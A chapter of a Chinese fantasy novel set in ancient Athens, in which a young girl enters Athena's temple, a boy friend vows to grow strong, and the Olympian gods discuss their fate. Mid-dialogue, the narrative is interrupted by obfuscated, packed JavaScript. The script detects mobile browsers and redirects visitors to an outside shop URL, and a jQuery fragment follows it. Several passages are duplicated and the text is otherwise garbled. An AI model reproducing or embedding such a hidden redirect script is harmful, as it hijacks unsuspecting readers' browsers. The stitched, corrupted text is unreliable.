15. 命运开始紧密相连

作品:《禁忌之爱:石阶上的月光

    晨曦尚未完全驱散皮尼克斯山坡后的黑暗,卧室角落的油灯已然跳动着昏黄的光晕,将克莉西亚的身影拉得长长,投在斑驳的墙壁上。


    作为雅典最受尊敬的裁缝师,她的手指即使在不工作的时候,也彷佛习惯性地保持着一种预备缝纫的优雅姿态。她的声音,像是从很远的地方传来,带着一丝不易察觉的颤抖,搅动了阿瑟雅沈湎于梦境的意识。


    「该起床了,孩子,」克莉西亚轻声唤醒阿瑟雅,声音中带着复杂的情绪,「今天你要开始在神殿的学习了。」


    阿瑟雅蜷缩在羊毛毯里,眼皮沉重地黏在一起。梦境的余温还包裹着她——那是一片无垠的、发着柔和白光的云海,她赤足行走其上,脚下并非虚无,而是一种温润而富有弹性的触感,彷佛踩在巨大的神兽脊背上。空气中流淌着蜜糖般的香气,远处有若有若无的竖琴声。她试图追寻琴声的来源,却总隔着一层闪烁的薄纱。


    克莉西亚的呼唤,像一块石子投入这宁静的幻境,涟漪荡开,景象开始碎裂。


    「天还没完全亮呢,」阿瑟雅揉着眼睛坐起来,嗓音带着浓浓的睡意,「我梦见自己在一片发光的云朵上行走…那里好温暖,还有好听的音乐…母亲,我能不能再睡一会儿,就一会儿?」她仰起小脸,带着一丝侥幸的恳求。


    克莉西亚的心像是被一只冰冷的手攥紧了。她看着女儿那双与她父亲如出一辙的、清澈的灰蓝色眼眸,里面盛满了不谙世事的懵懂。她多想将女儿重新按回床上,用厚重的毯子将她藏起来,藏离那庄严而冷酷的命运。但她知道,这是不可能的。


    神殿的选择,如同神谕,不容抗拒。她只能弯下腰,用手指轻轻梳理着阿瑟雅柔软的、亚麻色的卷发,动作温柔,却无法掩饰指尖因长年穿针引线而留下的细微薄茧。


    「不行,我的小云雀,」克莉西亚的声音更加轻柔,彷佛怕惊扰了什么,「今天不行。今天…女神在等待。」


    她拿起叠放在床头那件由她亲手剪裁、每一寸褶皱都蕴含着无声祝福的崭新素白麻布长袍。


    「来,穿上这个。这件衣袍,我用上了为执政官缝制礼服时才会使用的隐形针法,愿它能在你不自知时,为你挡去些许尘嚣。」


    ---


    献祭日的号角声庄严而低沉地响彻整个雅典城,唤醒了沉睡中的城市。


    那号角声并非单一来源,而是从卫城方向率先响起,随即,城市各处的号角应和着,低沉悠长的鸣响如同无形的波纹,层层叠加,漫过山丘,淌过街巷,穿透每一户人家的窗棂与门扉。声音里带着一种不容置疑的权威和古老传承的肃穆,连空气都为之震颤。


    「那是献祭的号角,」克莉西亚解释道,手微微发抖,「今天对雅典来说是个重要的日子…对你也是。」


    她低声补充,像是吟诵某种古老的仪轨开篇:「记住,当号角响起三次,便是与旧日告别的时刻。这是我教过你的。」


    阿瑟雅被母亲牵着手,走出家门,踏入微凉的晨雾中。街道上已经聚集了不少人,朝着卫城的方向涌去。空气中的气味变得复杂起来。


    空气中混合著橄榄木香和淡淡的血腥味,形成独特的仪式氛围,远处似乎还能听到神秘的吟唱声。橄榄木燃烧时特有的清冽香气,与即将献祭的牲礼身上散发出的、若有若无的淡淡血腥味混合在一起,形成一种独特而令人敬畏的仪式氛围。


    但不止这些。阿瑟雅敏锐的鼻子还分辨出更多:路边面包房飘出的、新出炉大麦面包的焦香,人们身上涂抹的、略带刺激的橄榄油味,以及从街角神龛里弥漫开来的、浓郁的没药和乳香燃烧的气息——这些香料的搭配与比例,克莉西亚曾在教导她辨识草药与仪式用香时细细讲解过。


    这一切,与那越来越近的、如同潮水般涌来的、用古老多立克方言吟唱的颂歌交织在一起,编织成一张巨大而无形的网,将整个雅典笼罩其中。她感到一种莫名的压力,小手不自觉地攥紧了母亲的食指。


    「这件袍子太大了,」阿瑟雅小声说,白色的麻布几乎将她完全包裹,「我感觉自己像被神秘的云雾笼罩。」她笨拙地提着过长的裙摆,生怕踩到而摔倒。宽大的袖口滑落,露出她纤细的手腕,风从袖口和领口钻进去,激起一阵细小的战栗。


    克莉西亚蹲下身,以裁缝师特有的精准眼光审视着女儿身上的衣袍。她的手指灵巧地在多余的布料间穿梭,进行最后的调整,将腰间的麻绳系成一个既牢固又优雅的、象征纯洁的结。


    「这不仅仅是一件衣袍,阿瑟雅,」她的声音低沉而充满情感,「它是我用对你全部的爱与不舍缝制而成的。我为祭司和执政官缝制过无数衣袍,唯有这一件,倾注了我作为母亲的灵魂。它的每一针,都藏着一句我无法说出口的祈祷。」


    「这象征着你将要承载的远超你现在的大小,」克莉西亚强忍泪水为她整理衣袍。


    「总有一天,你会成长到配得上这件衣袍。」她的声音有些沙哑,「记住,阿瑟雅,无论这袍子多么沉重,无论别人说什么,你都要记住你是谁。你不仅仅是女神的祭司,你更是克莉西亚的女儿,是雅典公民的女儿。你的内心,永远要为自己保留一片天空,就像你梦里的那片云。记得我教你的吗?真正的体面,不在于衣袍的华美,而在于内心是否始终保持着如月桂叶般清冽的尊严。」


    阿瑟雅似懂非懂地点点头,母亲眼中深切的悲伤让她感到困惑和一丝不安。她伸出小手,擦去母亲眼角即将溢出的泪珠。


    「母亲,你别哭。我会记住你教导的一切——关于神灵的仪轨,关于草药的用途,关于如何像一个体面家庭的女孩那样言行。我会很勇敢的。玛尔珀阿姨说,神殿里有好多好看的壁画,还能学到很多关于星星和神灵的故事。我学会了,回来讲给你听,好不好?」


    克莉西亚一把将女儿紧紧搂在怀里,力道之大,让阿瑟雅几乎喘不过气。这个拥抱短暂而用力,彷佛要将女儿的气息和温度镌刻在灵魂深处。然后,她松开手,站起身,脸上恢复了一种近乎决绝的平静,那是她为执政官家族服务时才会露出的、专业而矜持的表情。


    「好。我们该走了,不能让女神久等。记住仪轨,步伐要稳,目光要垂,心要诚。」


    阿瑟雅被迫换上了一件过于宽大、几乎将她整个小小身躯都笼罩住的素白麻袍,赤着一双小脚,踏上了通往雅典娜神殿正门那漫长而冰凉的巨型石阶。坚硬粗糙的石面硌着她柔嫩的脚底,带来一丝丝轻微的刺痛。


    每一级石阶都被无数朝圣者和祭司的脚步磨得光滑,边缘却依旧保留着岁月风化的粗糙感。


    冰凉的触感从脚底直窜上来,与清晨空气中的寒意汇合,让她不由自主地打了个哆嗦。她小心翼翼地选择落脚点,避开那些特别尖锐的小石砾。脚底传来的细密痛感,奇异地让她更加清醒,意识到此刻正在发生的、非同寻常的一切。她努力回忆母亲关于仪态的教导——步履从容,即使脚下不适,也不能显露于色。


    「好冰…」她小声吸气,但还是坚定地迈出下一步,「就像踩在冬天的溪水里。」她试图用熟悉的感觉来理解这陌生的触感,脑海里浮现出和莱山德去年冬天在伊利索斯河边,试探性地用脚尖点碰冰冷溪水的画面。那时候,莱山德还嘲笑她胆小…想到这里,她下意识地回头,想在人群中寻找那个熟悉的身影,却只看到一片模糊而陌生的面孔。


    石阶缝隙间的野雏菊在晨风中摇曳,花瓣上闪烁着露珠,像是神灵洒下的泪滴。


    那些淡黄色花瓣中心带着一抹绿意的小花,在巨大的、亘古不变的石阶缝隙中顽强地探出头,纤细的茎叶在微风中轻轻颤动。


    阿瑟雅认出其中混杂着几株甘菊和蓟草,母亲曾教过她,这些野草看似不起眼,却在特定的仪式中有着净化与保护的象征意义。它们是那么渺小,却又那么生机勃勃,与这庄严肃穆的环境形成一种奇异的对比。


    「看那些小花,」她对自己轻声说,「它们在为我加油呢。」


    她甚至偷偷放慢了一点脚步,假装整理袍子,快速地、几乎无人察觉地弯腰触碰了一下最近的那朵雏菊的花瓣。一丝微弱的、属于植物的清新生气传入指尖,给了她一丝微不足道却真实存在的慰借。她在心中默念母亲教导的、对自然精灵的简单感谢词。


    缝隙间,几株顽强的野雏菊在微冷的晨风中轻轻摇曳着它们淡黄色的花瓣,像是在对她做最后的、无声的道别。


    围观的人群挤在石阶两侧的栏杆外,目光聚焦在这个小小的白色身影上。他们的眼神复杂,混合著敬畏、好奇、怜悯,或许还有一丝不易察觉的优越感——他们是自由的,而这个孩子,从此将属于神。一些认得克莉西亚的人,低声议论著这位杰出裁缝师女儿的命运。


    「愿雅典娜指引她的道路,」一位旁观的老妇人喃喃祈祷,布满皱纹的手紧握着一串古老的橄榄木念珠,「这孩子肩负着我们所有人的希望。看她那衣袍的剪裁,只有克莉西亚能有这样的手艺,既符合规制,又如此…充满灵性。」


    「看啊,就是那个孩子…」围观民众窃窃私语,「听说神殿的圣火昨夜特别明亮,就是为了迎接她…是克莉西亚的女儿啊,难怪气度不凡。她母亲为大祭司缝制的祭袍,父亲利西马科斯是服务于神庙的书记官,一位博学而温和的学者,据说连阿尔忒弥斯女神见了都会喜悦。」


    「我记得她母亲怀孕时就有异象,」另一个妇人低声对同伴说,声音里带着神秘与笃定,「卫城上的猫头鹰连续七夜在她家屋顶盘旋。大家都说,那是雅典娜女神的使者,在为自己挑选新的仆人。你看她走路的姿态,多稳重,简直不像个孩子,定是克莉西亚平日悉心教导的结果。」


    她低着头,目光紧紧盯着自己因紧张而蜷缩起来的、小小的脚趾,努力不去听身后那些聚集观礼的民众传来的窃窃私语——


    「看啊,就是那个孩子……又一个被选中的『神之容器』……」


    「听说是她祭司家族的血脉,天生就与众不同……」


    「从此以后,她的一生都将奉献给女神,与我们这些凡俗之人永远隔绝了……真是既荣耀又可悲啊……」


    这些话语像细小的冰针,刺入她的耳朵。『神之容器』…『隔绝』…『可悲』…这些词汇对她来说有些难以完全理解,但它们传达出的那种疏离感和沉重的意味,却让她心里发闷。她更加用力地蜷缩起脚趾,违背了母亲关于「步履安稳」的教导。


    她开始想念家里那张窄小却温暖的床,想念母亲怀抱的温度,甚至想念莱山德那家伙带着傻气的笑容。为什么成为女神的仆人,会让人觉得『可悲』呢?荣耀不应该是让人开心的吗?困惑像藤蔓一样缠绕着她幼小的心灵。她试图用母亲教导的草药知识来分散注意力,在心中默念沿途看到的植物名称和特性。


    「神之容器…」阿瑟雅在心中重复这个词,「意思是…我是一个装载神灵的瓶子吗?那原本在瓶子里的我,会去哪里呢?母亲说过,每个器皿都有其独特的形状,即使承载同样的水,也会映出不同的光泽。我会映出什么样的光呢?」这个突如其来的问题让她自己都感到一阵莫名的恐慌。


    在踏入神殿前,她似乎听见了一个遥远而熟悉的声音在呼唤她的名字,那声音彷佛来自星辰深处。


    就在她心神动荡之际,一个声音,穿透了层层的喧嚣低语,穿透了号角的余韵和吟唱的声浪,清晰地响在她的耳畔,或者说,是直接响在她的脑海里。那不是母亲克莉西亚的声音,也不是其他任何她认识的人的声音。它冰冷,像是雪山顶上刮过的风,带着一种不容置疑的威严,却又在这份冰冷之下,隐藏着一丝极其微弱、几乎无法捕捉的、彷佛金属共鸣般的吸引力。它在呼唤她的名字——「阿瑟雅」。


    就在她即将迈入神殿那巨大、投下深沉阴影的门廊时,她彷佛心有所感,突然停下了脚步,抬起头,望向高耸入云、雕刻着神话战役的廊柱顶端。


    阳光被巨大的石质门楣遮挡,投下清凉而深沉的阴影,将她整个小小的身影吞没。与门外阳光灿烂、人声鼎沸的世界相比,门内是一片幽深、寂静、充满未知的领域。空气似乎也变得凝滞、凉爽,带着陈年香料、冷石和某种难以名状的、属于远古的气息。


    她仰起头,视线沿着那些描绘着雅典娜与巨人之战的雄伟浮雕向上,向上,直到颈项感到酸涩。那些神与巨人的形体在阴影中扭曲、搏斗,充满了力量与痛苦,让她感到一阵眩晕和自身的无比渺小。母亲曾向她描述过这些浮雕的细节,但亲眼所见的震撼远超言语。


    在那一瞬间,她似乎真的听见了一个遥远而莫名熟悉的声音,穿透了尘世的喧嚣,直接在她心灵深处呼唤着她的名字。


    那声音冰冷而威严,却又带着一种奇异的、吸引她的力量。


    「来吧,我的孩子,」那声音在她心中回荡,「你的归宿在此。」这声音带着一种古老的韵律,彷佛早已注定,不容更改。它抚平了她方才的一些慌乱,却也带来了一种更深沉的、对未知命运的顺从。她想起母亲说过,面对神圣时,需放下自我,全心接纳。


    ---


    与此同时,在伊利索斯河畔的军事训练场上,晨光刚刚驱散河面的薄雾。莱山德和其他几十个年龄相仿的男孩,正跟着一位皮肤黝黑、肌肉虬结的教官进行晨间训练。


    空气中弥漫着少年们汗水的气味和扬起的尘土气息。莱山德深吸一口气,助跑,奋力将手中的标枪投向远处画着同心圆的草靶。标枪划破空气,发出「嗖」的一声轻响,最终扎在靶心偏外一圈的位置上。


    在城墙附近的军事训练场上,莱山德正满头大汗地练习着投掷标枪。他刚刚完成一次还算不错的投掷,正准备去捡回武器,心口却毫无预兆地猛然一悸,彷佛听见了某个神秘的召唤,下意识望向神殿方向。


    那感觉来得极其突然且剧烈,彷佛有一只无形的手,穿透距离,紧紧攥住了他年轻而充满活力的心脏,让它漏跳了一拍,随即被一种空落落的、尖锐的酸楚所填满。


    这不是□□上的疼痛,而是一种情感上的猛烈抽离,好像他生命中最珍贵的一部分,就在刚才那一刹那,被硬生生从他身边夺走了,他甚至来不及看清那是什么。他不由自主地闷哼一声,停下了奔跑的脚步,左手按住了左胸上方,眉头紧紧皱起。


    「奇怪,」他摸着胸口自言自语,「突然觉得心里空荡荡的…像是丢了什么东西…很重要的东西。」


    他困惑地环顾四周,训练场依旧,伙伴们依旧,教官的呵斥声依旧,一切都没有变,唯独他心里,缺了一角。他想起克莉西亚阿姨曾闲聊时提过,灵魂之间若有强烈联系,有时能跨越空间感知彼此的剧变。


    「为什么突然这么难过?」他困惑地按住胸口,「就像…就像有什么重要的东西被拿走了。」


    一个清晰的面容瞬间闯入他的脑海——阿瑟雅那张带着点婴儿肥、笑起来眼睛弯弯的脸。今天,是她去神殿的日子。是因为这个吗?可是去神殿学习,不是一件光荣的事情吗?为什么他会感到如此强烈的不安和失落?


    他下意识地停下动作,抬头望向卫城山顶,那座在朝阳下闪耀着圣洁光芒的神殿方向。


    然而,距离太远了,他只看见一个微小的、几乎要被神殿巨大阴影吞噬的白色身影,在门口闪炉了一下,便彻底消失在了那片代表着神圣与禁忌的黑暗之中。


    就在那个白色小点消失的瞬间,莱山德感到心口那股空荡荡的感觉骤然加剧,变成了一种沈甸甸的、明确的预感——他失去她了。不是暂时的分别,而是某种更深层次的、关乎未来可能性的断裂。


    那个会和他一起在星光洞穴分享秘密、会在伊利索斯河边追逐嬉戏、会被他笨拙的玩笑逗得咯咯笑的阿瑟雅,从这一刻起,被那道神殿的门槛隔绝在了另一个世界。一种混合著无力、愤怒和巨大悲伤的情绪,像洪水一样冲击着他年少的胸膛。他紧紧咬住下唇,直到尝到一丝血腥味。


    「阿瑟雅……」他轻声呼唤,声音低得只有自己能听见,心中充满了莫名的失落。这声呼唤里,包含了他自己还无法完全理解的、超越友谊的雏形情感。


    「我会变强,」莱山德握紧手中的训练标枪,指节因用力而发白,目光死死盯着远方那座宏伟的神殿,彷佛在向它,也向自己立下誓言。


    「强到足以打破任何隔阂,强到足以守护她,无论她是在神殿之内,还是之外。总有一天,我会成为配得上站在她身边的人。」


    这一刻,玩耍的孩童心性从他身上褪去,一种属于战士的、坚毅而执着的光芒,首次点亮了他深色的眼眸。


    ---


    奥林帕斯山,云海翻腾,永恒的阳光洒落在诸神华美的殿堂。这里的时间流速与凡间不同,诸神可以随心所欲地观看下界正在上演的悲欢离合。


    云端上,阿芙萝黛蒂轻轻叹息:「可怜的孩子们,还不理解神谕背后隐藏的秘密。」


    她慵懒地倚在铺满软垫的长榻上,手中把玩着一条由欲望凝结成的金链,链子闪烁着变幻不定的光芒。她的目光穿透云层,落在雅典那两个渺小的身影上,美丽绝伦的脸上流露出一丝真实的怜悯。


    「那男孩心中萌发的爱苗,与那女孩肩负的沉重使命,从一开始就注定了荆棘满途。他们此刻的分离,不过是命运交响诗中第一个悲伤的音符。看看那母亲,克莉西亚,她的手能缝合最精致的衣袍,却无法缝合女儿被命运划开的人生。」


    「年轻的灵魂总是如此,」赫菲斯托斯难得温和地说,他正坐在自己的铁砧旁,用粗壮却灵巧的手指打磨着一件精致的金属胸甲,火星偶尔溅出,消失在云雾中。「要经历熔炼才能知晓自己的形状。痛苦与分离是最好的锤炼,能剔除杂质,显露内在的纹理。看着吧,这份早熟的情感,会在压抑和距离中,锻造成何等锋利而纯粹的形态。就像我锤炼金属,唯有经过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632556|188022||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    反覆敲打,才能成就神器的锋芒。」


    阿芙萝黛蒂声音中带着一丝真实的怜悯。


    「他们此刻还完全无法理解,这次看似寻常的分别,对他们未来的命运究竟意味着什么。那条无形的鸿沟,从今天起,将开始在他们之间缓缓裂开。」她轻轻挥手,一抹粉金色的光晕在她指尖流转,「我赋予了那男孩爱情的种子,却无法保证它能在石缝中开出花朵。雅典娜,你的规则,未免太过严苛。就连那母亲精心缝制的衣袍,也终将成为束缚的一部分。」


    身披闪亮甲胄、头戴战盔的雅典娜,正站在不远处,目光睿智而冷静地注视着下界。她的身影挺拔如矛,周身散发着理性与秩序的光芒。听到爱神的话,她并未回头,只是淡淡开口,声音如同最清澈的山泉,却也带着不容置疑的冷峻。


    「克莉西亚教导了她知识与仪轨,给了她体面的教养,这已是最好的准备。至于衣袍,既是保护,也是责任的象征。我的规则,是为了维护秩序与智慧,个人的情感必须为更高的理想让路。」


    「裂痕中也可能开出花朵,」得墨忒耳轻声反驳,她手中握着一束饱满的麦穗,象征着循环与新生,「分离的痛苦往往孕育着最美的成长。没有深埋土中的黑暗,何来破土而出的麦苗?没有离别的孤寂,何来重逢的喜悦?母亲的泪水浇灌大地,女儿的离去是为了更丰饶的归来。这是自然的律法,于人间亦然。那女孩在神殿中学到的,将是另一种形式的『生长』。」


    在凡间,阿瑟雅踏入了神殿的阴影中,而莱山德仍在阳光下挥汗如雨,两条命运的丝线从此开始了不同的轨迹。


    「不同的道路未必不能交汇,」赫尔墨斯若有所思,他穿着带翼的凉鞋,斜靠在一根廊柱上,玩弄着他的双蛇杖,速度快得留下残影。


    「命运总是充满惊喜的转折。信使的职责让我穿梭于各种『不可能』之间。我看过太多的峰回路转。谁能断言,今日背道而驰的两条线,不会在未来的某个点,因为某个意外的讯息、某次隐秘的相助,而再次缠绕呢?或许,那母亲缝入衣袍的无声祈祷,会成为连接他们的一根无形丝线。」他狡黠地笑了笑,眼中闪烁着洞悉一切的光芒。


    雅典娜嘴角微扬:「神谕的奥秘将在她每日的学习中逐渐显现,这仅仅是开始。」她的目光追随着那个消失在神殿阴影中的小小身影,如同一位雕刻家审视着未经雕琢的璞玉。「克莉西亚给予了她形式上的教养,而神殿,将赋予她灵魂的实质。」


    雅典娜的嘴角,几不可察地微微向上弯起了一个极小的弧度,那并非喜悦,更像是一种了然与期待交织的复杂表情。


    「我已经开始期待看到她未来的模样了,」阿波罗拨动金竖琴,发出悦耳的弦音,那音调既能抚慰心灵,也能揭示真相。


    「雏鹰终将展翅,无论她选择飞向何方。是安于神庙的檐下,做一只传达神意的温顺鸽子,还是挣脱束缚,成为一只翱翔于自己意志天空的雄鹰?她灵魂的乐章,才刚刚写下第一个小节。而我,将是这乐章最忠实的听众和记录者。」


    「所有的成长,尤其是通向伟大的成长,都需要付出相应的代价。这仅仅是开始。让我们拭目以待,这出由命运编剧、由凡人演出的漫长戏剧,接下来会如何展开吧。」雅典娜最终说道,她的声音平静无波,却彷佛在平静的湖面投下了一颗石子,预示着未来无数的涟漪与波澜。「克莉西亚的针线,缝合了衣袍,却缝不了命运。真正的织布者,是更古老、更强大的力量。」有


    ---


    神殿内部的光线幽暗而柔和,仅有几缕阳光从高处的狭窄窗洞射入,在铺着大理石的地面上投下斑驳的光柱。空气中流动的能量更加清晰了,那是一种沉静、古老而强大的力量,彷佛整座建筑都在沉睡,却拥有着磅礴的呼吸。


    阿瑟雅站在宽阔的前厅,一时有些不知所措。远处内殿深处,似乎有永恒不灭的圣火在跳动,投来摇曳的、温暖的光芒。她身上那件由母亲精心缝制的衣袍,在幽暗中似乎泛着一层极微弱的、只有她自己能感觉到的温润光泽。


    「我会想念星光洞穴,」阿瑟雅在神殿内轻声自语,声音在空旷的厅堂里激起微弱的回声,「但我会努力成为配得上这份荣耀的人。」她试图说服自己,压下心头那挥之不去的、对自由过往的眷恋。她摸了摸衣袍上母亲缝制的细密针脚,从中汲取勇气。


    「这里的墙壁好像在呼吸,」她惊奇地发现,手抚过冰冷的石墙,那上面刻满了古老的铭文和献祭场景,「它们记得所有来过这里的人…听到了所有的祈祷和秘密。」


    这种感觉非常奇特,彷佛她不是进入了一个建筑,而是进入了一个活着的、充满记忆的庞大生命体内部。母亲曾告诉她,古老的石头承载着历史,而神殿的石头,则承载着神灵的低语。


    这时,一个沉稳的脚步声由远及近。一位身着与她相似、但明显合身且质地更精良的白袍的中年女祭司走了过来。她面容严肃,眼神却并不严厉,反而带着一种洞察世事的温和。这就是玛尔珀,她母亲的旧友,也是她未来在神殿的导师。


    「第一天感觉如何?」女祭司玛尔珀阿姨微笑着向她走来,她的声音在神殿中显得格外清晰而沉静。


    「别担心,我们都会帮助你的。你母亲克莉西亚将你教导得很好,我从你的仪态就能看出。神殿的生活确实与外面不同,有许多规矩要遵守,有许多知识要学习——有些可能比你母亲教过的更深奥。但这里也是离女神最近的地方,你能感受到的,远比外面世界所能提供的更多。慢慢来,孩子,一步一步来。」


    她伸出手,轻轻拍了拍阿瑟雅的肩膀,那稳定的力量让阿瑟雅慌乱的心稍微安定了一些。玛尔珀的目光扫过阿瑟雅的衣袍,眼中闪过一丝对老友手艺的赞赏。


    而在训练场上,教官粗犷的吼声打断了莱山德的凝望与沉思。「发什么呆,小子!捡回你的标枪!今天的训练还没结束!想想你们的父兄,是如何在战场上为雅典争光的!」


    「今天的训练到此为止!」教官的声音打断了他的思绪,「全体列队,准备参加献祭仪式!」


    莱山德如梦初醒,他最后望了一眼那遥远的、已无熟悉身影的神殿,用力抹了一把脸上的汗水和…或许还有别的什么。他转身,跑向自己的标枪,动作比以往任何时候都要用力,彷佛要将所有的迷茫和决心都灌注其中。


    「我会想念她的,」莱山德在训练场上轻声自语,望着神殿方向,心中充满了莫名的失落。


    「但我不会只是想念,」他在心底对自己,也对那个已经看不见的朋友发誓,「我会行动。用我的汗水,我的力量,我的成长。我要用我的努力,拥有出足以守护她的力量。」


    他挺直了尚且单薄但已初显轮廓的脊背,汇入正在列队的同伴之中。阳光下,少年们的队伍朝着卫城方向行进,去参加那场与他们其中一人命运息息相关的献祭仪式。莱山德的目光不再迷茫,而是坚定地望向前方,望向他必须去面对和征服的未来。


    ---


    「这里充满了神秘的气息,」阿瑟雅在神殿内轻声说,感受着空气中流动的奇异能量。


    「但我每天都能回家,这让我既害怕又期待。」她试图从玛尔珀阿姨温和的笑容里寻找保证。她紧紧抓着自己的衣袍,彷佛那是连接她与母亲、与过去生活的唯一纽带。


    玛尔珀轻轻揽过她的肩膀,带着她向神殿深处走去。


    「是的,初学者并非完全与家人隔绝。但记住,阿瑟雅,从你踏上这石阶的那一刻起,你的家,就有了两个。一个是你血脉相连的居所,另一个,是这里,是你灵魂需要学习归属的地方。而在这里,你将学习如何将这些知识,融入对女神更深层次的服务与理解中。至于害怕和期待,等到雅典娜女神认为你可以胜任之后,你将像我们一样生活在卫城之上。」


    她低头看了看身边的女孩,「这都很正常。智慧始于敬畏,而成长,往往源于对未知的期待。来吧,我带你去认识其他姐妹,还有我们每日祷告和学习的地方。你父亲母亲为你准备的起点,已经比许多人都要高了。」


    命运的织机继续转动,两个孩子的故事才刚刚开始,而雅典的未来也在这一刻与一个八岁女孩的命运紧密相连。


    织机上的丝线,一条纯白,已被引入神圣而幽深的殿堂;一条染着尘土与阳光的颜色,正在凡俗的训练场上磨砺锋芒。它们看似背道而驰,却被某种无形的力量牵引着,在命运的图案中寻找着交汇的可能。


    诸神在云端俯视,凡人在尘世跋涉。此刻,这一切都还蛰伏在时间的深处,如同卫城投下的长影,在晨光中静待命运的召唤。


    当神殿的阴影吞没最后一抹纯白,当训练场的尘埃沾染年轻的汗水,雅典的命运之网已然开始编织。这张网将笼罩爱琴海的波涛,缠绕卫城的石柱,在神谕与人性的拉扯间,织就一曲传唱千年的悲欢。


    (第十五章完)